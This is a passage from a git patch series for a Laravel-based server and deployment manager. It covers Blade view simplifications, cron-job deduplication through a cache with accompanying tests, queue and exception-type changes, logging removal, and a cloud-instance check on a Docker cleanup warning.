    $environment->uuid, + 'project_uuid' => $currentProjectUuid, + ]) }}" {{ wireNavigate() }} class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $environment->uuid === $currentEnvironmentUuid ? 'dark:text-warning font-semibold' : '' }}" title="{{ $environment->name }}"> {{ $environment->name }} @@ -150,31 +143,29 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover @foreach ($environments as $environment) @php + $envDatabases = collect() + ->merge($environment->postgresqls ?? collect()) + ->merge($environment->redis ?? collect()) + ->merge($environment->mongodbs ?? collect()) + ->merge($environment->mysqls ?? collect()) + ->merge($environment->mariadbs ?? collect()) + ->merge($environment->keydbs ?? collect()) + ->merge($environment->dragonflies ?? collect()) + ->merge($environment->clickhouses ?? collect()); $envResources = collect() - ->merge( - $environment->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $environment - ->databases() - ->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]), - ); + ->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])); @endphp @if ($envResources->count() > 0)
    - - - @foreach ($envResources as $envResource) - @php - $resType = $envResource['type']; - $res = $envResource['resource']; - $resParams = [ - 'project_uuid' => $currentProjectUuid, - 'environment_uuid' => $environment->uuid, - ]; - if ($resType === 'application') { - $resParams['application_uuid'] = $res->uuid; - } elseif ($resType === 'service') { - $resParams['service_uuid'] = $res->uuid; - } else { - $resParams['database_uuid'] = $res->uuid; - } - $resKey = $environment->uuid . '-' . $res->uuid; - @endphp -
    - -
    - @if ($resType === 'application') - - Deployments - Logs - @can('canAccessTerminal') - Terminal - @endcan - @elseif ($resType === 'service') - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @else - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @if ( - $res->getMorphClass() === 'App\Models\StandalonePostgresql' || - $res->getMorphClass() === 'App\Models\StandaloneMongodb' || - $res->getMorphClass() === 'App\Models\StandaloneMysql' || - $res->getMorphClass() === 'App\Models\StandaloneMariadb') - Backups - @endif - @endif -
    - - - -
    - @endforeach
    @endif @endforeach @@ -431,7 +210,6 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg $isApplication = $resourceType === 'App\Models\Application'; $isService = $resourceType === 'App\Models\Service'; $isDatabase = str_contains($resourceType, 'Database') || str_contains($resourceType, 'Standalone'); - // Use loaded relation count if available, otherwise check additional_servers_count attribute $hasMultipleServers = $isApplication && method_exists($resource, 'additional_servers') && ($resource->relationLoaded('additional_servers') ? $resource->additional_servers->count() > 0 : ($resource->additional_servers_count ?? 0) > 0); $serverName = $hasMultipleServers ? null : data_get($resource, 'destination.server.name'); @@ -447,221 +225,16 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg $routeParams['database_uuid'] = $resourceUuid; } @endphp -
  • -
    - - {{ data_get($resource, 'name') }}@if($serverName) ({{ $serverName }})@endif - - - - -
    - -
    - @if ($isApplication) - - - - Deployments - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @elseif ($isService) - - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @else - - - - Logs - - @can('canAccessTerminal') - - Terminal - - @endcan - @if ( - $resourceType === 'App\Models\StandalonePostgresql' || - $resourceType === 'App\Models\StandaloneMongodb' || - $resourceType === 'App\Models\StandaloneMysql' || - $resourceType === 'App\Models\StandaloneMariadb') - - Backups - - @endif - @endif -
    - - - -
    -
    +
  • + + {{ data_get($resource, 'name') }}@if($serverName) ({{ $serverName }})@endif +
  • diff --git a/resources/views/livewire/project/resource/index.blade.php b/resources/views/livewire/project/resource/index.blade.php index f18df5061..a38a04043 100644 --- a/resources/views/livewire/project/resource/index.blade.php +++ b/resources/views/livewire/project/resource/index.blade.php @@ -60,36 +60,13 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
    -
  • +
  • {{ $environment->name }} - -
    @foreach ($allEnvironments as $env) @php + $envDatabases = collect() + ->merge($env->postgresqls ?? collect()) + ->merge($env->redis ?? collect()) + ->merge($env->mongodbs ?? collect()) + ->merge($env->mysqls ?? collect()) + ->merge($env->mariadbs ?? collect()) + ->merge($env->keydbs ?? collect()) + ->merge($env->dragonflies ?? collect()) + ->merge($env->clickhouses ?? collect()); $envResources = collect() - ->merge( - $env->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $env - ->databases() - ->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $env->services->map( - fn($svc) => ['type' => 'service', 'resource' => $svc], - ), - ); + ->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])) + ->sortBy(fn($item) => strtolower($item['resource']->name)); @endphp
    {{ $env->name }} @@ -153,7 +129,6 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover @foreach ($allEnvironments as $env) @php - // Use pre-loaded relations instead of databases() method to avoid N+1 queries $envDatabases = collect() ->merge($env->postgresqls ?? collect()) ->merge($env->redis ?? collect()) @@ -164,28 +139,19 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover ->merge($env->dragonflies ?? collect()) ->merge($env->clickhouses ?? collect()); $envResources = collect() - ->merge( - $env->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]), - ); + ->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])); @endphp @if ($envResources->count() > 0)
    - - - @foreach ($envResources as $envResource) - @php - $resType = $envResource['type']; - $res = $envResource['resource']; - $resParams = [ - 'project_uuid' => $project->uuid, - 'environment_uuid' => $env->uuid, - ]; - if ($resType === 'application') { - $resParams['application_uuid'] = $res->uuid; - } elseif ($resType === 'service') { - $resParams['service_uuid'] = $res->uuid; - } else { - $resParams['database_uuid'] = $res->uuid; - } - $resKey = $env->uuid . '-' . $res->uuid; - @endphp -
    - -
    - @if ($resType === 'application') - - Deployments - Logs - @can('canAccessTerminal') - Terminal - @endcan - @elseif ($resType === 'service') - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @else - - Logs - @can('canAccessTerminal') - Terminal - @endcan - @if ( - $res->getMorphClass() === 'App\Models\StandalonePostgresql' || - $res->getMorphClass() === 'App\Models\StandaloneMongodb' || - $res->getMorphClass() === 'App\Models\StandaloneMysql' || - $res->getMorphClass() === 'App\Models\StandaloneMariadb') - Backups - @endif - @endif -
    - - - -
    - @endforeach
    @endif @endforeach @@ -656,16 +395,16 @@ function sortFn(a, b) { function searchComponent() { return { search: '', - applications: @js($applications), - postgresqls: @js($postgresqls), - redis: @js($redis), - mongodbs: @js($mongodbs), - mysqls: @js($mysqls), - mariadbs: @js($mariadbs), - keydbs: @js($keydbs), - dragonflies: @js($dragonflies), - clickhouses: @js($clickhouses), - services: @js($services), + applications: @js($applicationsJs), + postgresqls: @js($postgresqlsJs), + redis: @js($redisJs), + mongodbs: @js($mongodbsJs), + mysqls: @js($mysqlsJs), + mariadbs: @js($mariadbsJs), + keydbs: @js($keydbsJs), + dragonflies: @js($dragonfliesJs), + clickhouses: @js($clickhousesJs), + services: @js($servicesJs), filterAndSort(items) { if (this.search === '') { return Object.values(items).sort(sortFn); From 6aa618e57fe031b5b0b5834e6b711f94cf2d54d7 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:44:10 +0100 Subject: [PATCH 49/51] feat(jobs): add cache-based deduplication for delayed cron execution Implements getPreviousRunDate() + cache-based tracking in shouldRunNow() to prevent duplicate dispatch of scheduled jobs when queue delays push execution past the cron minute. This resilience ensures jobs catch missed windows without double-dispatching within the same cron window. Updated scheduled job dispatches to include dedupKey parameter: - Docker cleanup operations - Server connection checks - Sentinel restart checks - Server storage checks - Server patch checks DockerCleanupJob now dispatches on the 'high' queue for faster processing. Includes comprehensive test coverage for dedup behavior across different cron schedules and delay scenarios. --- app/Jobs/DockerCleanupJob.php | 4 +- app/Jobs/ScheduledJobManager.php | 4 +- app/Jobs/ServerManagerJob.php | 45 ++++++-- .../ScheduledJobManagerShouldRunNowTest.php | 49 +++++++++ .../ServerManagerJobShouldRunNowTest.php | 102 ++++++++++++++++++ 5 files changed, 194 insertions(+), 10 deletions(-) create mode 100644 tests/Feature/ServerManagerJobShouldRunNowTest.php diff --git a/app/Jobs/DockerCleanupJob.php b/app/Jobs/DockerCleanupJob.php index 78ef7f3a2..a8a3cb159 100644 --- a/app/Jobs/DockerCleanupJob.php +++ b/app/Jobs/DockerCleanupJob.php @@ -39,7 +39,9 @@ public function __construct( public bool $manualCleanup = false, public bool $deleteUnusedVolumes = false, public bool $deleteUnusedNetworks = false - ) {} + ) { + $this->onQueue('high'); + } public function handle(): void { diff --git a/app/Jobs/ScheduledJobManager.php b/app/Jobs/ScheduledJobManager.php index e68e3b613..ebcd229ed 100644 --- a/app/Jobs/ScheduledJobManager.php +++ b/app/Jobs/ScheduledJobManager.php @@ -350,7 +350,7 @@ private function shouldRunNow(string $frequency, string $timezone, ?string $dedu $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone); - // No dedup key → simple isDue check (used by docker cleanups) + // No dedup key → simple isDue check if ($dedupKey === null) { return $cron->isDue($executionTime); } @@ -411,7 +411,7 @@ private function processDockerCleanups(): void } // Use the frozen execution time for consistent evaluation - if ($this->shouldRunNow($frequency, $serverTimezone)) { + if ($this->shouldRunNow($frequency, $serverTimezone, "docker-cleanup:{$server->id}")) { DockerCleanupJob::dispatch( $server, false, diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index 730ce547d..d56ff0a8c 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -14,6 +14,7 @@ use Illuminate\Queue\SerializesModels; use Illuminate\Support\Carbon; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Log; class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue @@ -80,7 +81,7 @@ private function getServers(): Collection private function dispatchConnectionChecks(Collection $servers): void { - if ($this->shouldRunNow($this->checkFrequency)) { + if ($this->shouldRunNow($this->checkFrequency, dedupKey: 'server-connection-checks')) { $servers->each(function (Server $server) { try { // Skip SSH connection check if Sentinel is healthy — its heartbeat already proves connectivity @@ -129,13 +130,13 @@ private function processServerTasks(Server $server): void if ($sentinelOutOfSync) { // Dispatch ServerCheckJob if Sentinel is out of sync - if ($this->shouldRunNow($this->checkFrequency, $serverTimezone)) { + if ($this->shouldRunNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}")) { ServerCheckJob::dispatch($server); } } $isSentinelEnabled = $server->isSentinelEnabled(); - $shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone); + $shouldRestartSentinel = $isSentinelEnabled && $this->shouldRunNow('0 0 * * *', $serverTimezone, "sentinel-restart:{$server->id}"); // Dispatch Sentinel restart if due (daily for Sentinel-enabled servers) if ($shouldRestartSentinel) { @@ -149,7 +150,7 @@ private function processServerTasks(Server $server): void if (isset(VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency])) { $serverDiskUsageCheckFrequency = VALID_CRON_STRINGS[$serverDiskUsageCheckFrequency]; } - $shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone); + $shouldRunStorageCheck = $this->shouldRunNow($serverDiskUsageCheckFrequency, $serverTimezone, "server-storage-check:{$server->id}"); if ($shouldRunStorageCheck) { ServerStorageCheckJob::dispatch($server); @@ -157,7 +158,7 @@ private function processServerTasks(Server $server): void } // Dispatch ServerPatchCheckJob if due (weekly) - $shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone); + $shouldRunPatchCheck = $this->shouldRunNow('0 0 * * 0', $serverTimezone, "server-patch-check:{$server->id}"); if ($shouldRunPatchCheck) { // Weekly on Sunday at midnight ServerPatchCheckJob::dispatch($server); @@ -167,7 +168,14 @@ private function processServerTasks(Server $server): void // Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob. } - private function shouldRunNow(string $frequency, ?string $timezone = null): bool + /** + * Determine if a cron schedule should run now. + * + * When a dedupKey is provided, uses getPreviousRunDate() + last-dispatch tracking + * instead of isDue(). This is resilient to queue delays — even if the job is delayed + * by minutes, it still catches the missed cron window. + */ + private function shouldRunNow(string $frequency, ?string $timezone = null, ?string $dedupKey = null): bool { $cron = new CronExpression($frequency); @@ -175,6 +183,29 @@ private function shouldRunNow(string $frequency, ?string $timezone = null): bool $baseTime = $this->executionTime ?? Carbon::now(); $executionTime = $baseTime->copy()->setTimezone($timezone ?? config('app.timezone')); - return $cron->isDue($executionTime); + if ($dedupKey === null) { + return $cron->isDue($executionTime); + } + + $previousDue = Carbon::instance($cron->getPreviousRunDate($executionTime, allowCurrentDate: true)); + + $lastDispatched = Cache::get($dedupKey); + + if ($lastDispatched === null) { + $isDue = $cron->isDue($executionTime); + if ($isDue) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + } + + return $isDue; + } + + if ($previousDue->gt(Carbon::parse($lastDispatched))) { + Cache::put($dedupKey, $executionTime->toIso8601String(), 86400); + + return true; + } + + return false; } } diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php index f820c3777..e445e9908 100644 --- a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php +++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php @@ -194,6 +194,55 @@ expect($result2)->toBeFalse(); }); +it('catches delayed docker cleanup when job runs past the cron minute', function () { + // Simulate a previous dispatch at :10 + Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400); + + // Freeze time at :22 — job was delayed 2 minutes past the :20 cron window + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at :22, but getPreviousRunDate() = :20 + // lastDispatched = :10 → :20 > :10 → fires + $result = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:42'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch docker cleanup within same cron window', function () { + // First dispatch at :10 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:99'); + expect($first)->toBeTrue(); + + // Second run at :11 — should NOT dispatch (previousDue=:10, lastDispatched=:10) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '*/10 * * * *', 'UTC', 'docker-cleanup:99'); + expect($second)->toBeFalse(); +}); + it('respects server timezone for cron evaluation', function () { // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8) Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC')); diff --git a/tests/Feature/ServerManagerJobShouldRunNowTest.php b/tests/Feature/ServerManagerJobShouldRunNowTest.php new file mode 100644 index 000000000..518f05c9c --- /dev/null +++ b/tests/Feature/ServerManagerJobShouldRunNowTest.php @@ -0,0 +1,102 @@ +toIso8601String(), 86400); + + // Job runs 3 minutes late at 00:03 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today + // lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires + $result = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed weekly patch check when job runs past the cron minute', function () { + // Simulate previous dispatch last Sunday at midnight + Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400); + + // This Sunday at 00:02 — job was delayed 2 minutes + // 2026-03-01 is a Sunday + Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 0 * * 0', 'UTC', 'server-patch-check:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed storage check when job runs past the cron minute', function () { + // Simulate previous dispatch yesterday at 23:00 + Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Today at 23:04 — job was delayed 4 minutes + Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 23 * * *', 'UTC', 'server-storage-check:5'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch within same cron window', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC')); + + $job = new ServerManagerJob; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:10'); + expect($first)->toBeTrue(); + + // Next minute — should NOT dispatch again + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '0 0 * * *', 'UTC', 'sentinel-restart:10'); + expect($second)->toBeFalse(); +}); From fef8e0b622706b5d7bacbbecc696d9c9eb783cdd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:57:26 +0100 Subject: [PATCH 50/51] refactor: remove verbose logging and use explicit exception types - Remove verbose warning/debug logs from ServerConnectionCheckJob and ContainerStatusAggregator - Silently ignore expected errors (e.g., deleted Hetzner servers) - Replace generic RuntimeException with DeploymentException for deployment command failures - Catch both RuntimeException and DeploymentException in command retry logic --- app/Jobs/ServerConnectionCheckJob.php | 11 ++--------- app/Services/ContainerStatusAggregator.php | 14 -------------- app/Traits/ExecuteRemoteCommand.php | 5 +++-- 3 files changed, 5 insertions(+), 25 deletions(-) diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index d4a499865..2c73ae43e 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -108,10 +108,6 @@ public function handle() public function failed(?\Throwable $exception): void { if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) { - Log::warning('ServerConnectionCheckJob timed out', [ - 'server_id' => $this->server->id, - 'server_name' => $this->server->name, - ]); $this->server->settings->update([ 'is_reachable' => false, 'is_usable' => false, @@ -131,11 +127,8 @@ private function checkHetznerStatus(): void $serverData = $hetznerService->getServer($this->server->hetzner_server_id); $status = $serverData['status'] ?? null; - } catch (\Throwable $e) { - Log::debug('ServerConnectionCheck: Hetzner status check failed', [ - 'server_id' => $this->server->id, - 'error' => $e->getMessage(), - ]); + } catch (\Throwable) { + // Silently ignore — server may have been deleted from Hetzner. } if ($this->server->hetzner_server_status !== $status) { $this->server->update(['hetzner_server_status' => $status]); diff --git a/app/Services/ContainerStatusAggregator.php b/app/Services/ContainerStatusAggregator.php index 2be36d905..8859a9980 100644 --- a/app/Services/ContainerStatusAggregator.php +++ b/app/Services/ContainerStatusAggregator.php @@ -54,13 +54,6 @@ public function aggregateFromStrings(Collection $containerStatuses, int $maxRest $maxRestartCount = 0; } - if ($maxRestartCount > 1000) { - Log::warning('High maxRestartCount detected', [ - 'maxRestartCount' => $maxRestartCount, - 'containers' => $containerStatuses->count(), - ]); - } - if ($containerStatuses->isEmpty()) { return 'exited'; } @@ -138,13 +131,6 @@ public function aggregateFromContainers(Collection $containers, int $maxRestartC $maxRestartCount = 0; } - if ($maxRestartCount > 1000) { - Log::warning('High maxRestartCount detected', [ - 'maxRestartCount' => $maxRestartCount, - 'containers' => $containers->count(), - ]); - } - if ($containers->isEmpty()) { return 'exited'; } diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index a4ea6abe5..72e0adde8 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -3,6 +3,7 @@ namespace App\Traits; use App\Enums\ApplicationDeploymentStatus; +use App\Exceptions\DeploymentException; use App\Helpers\SshMultiplexingHelper; use App\Models\Server; use Carbon\Carbon; @@ -103,7 +104,7 @@ public function execute_remote_command(...$commands) try { $this->executeCommandWithProcess($command, $hidden, $customType, $append, $ignore_errors); $commandExecuted = true; - } catch (\RuntimeException $e) { + } catch (\RuntimeException|DeploymentException $e) { $lastError = $e; $errorMessage = $e->getMessage(); // Only retry if it's an SSH connection error and we haven't exhausted retries @@ -233,7 +234,7 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe $error = $process_result->output() ?: 'Command failed with no error output'; } $redactedCommand = $this->redact_sensitive_info($command); - throw new \RuntimeException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}"); + throw new DeploymentException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}"); } } } From 1511797e0a03a29349b1d71e9015ea00a713feff Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:59:23 +0100 Subject: [PATCH 51/51] fix(docker): skip cleanup stale warning on cloud instances --- resources/views/livewire/server/docker-cleanup.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/livewire/server/docker-cleanup.blade.php b/resources/views/livewire/server/docker-cleanup.blade.php index 2fd8fc2ab..ac48651ae 100644 --- a/resources/views/livewire/server/docker-cleanup.blade.php +++ b/resources/views/livewire/server/docker-cleanup.blade.php @@ -27,7 +27,7 @@
    Configure Docker cleanup settings for your server.
    - @if ($this->isCleanupStale) + @if (!isCloud() && $this->isCleanupStale)

    The last Docker cleanup ran {{ $this->lastExecutionTime ?? 'unknown time' }} ago,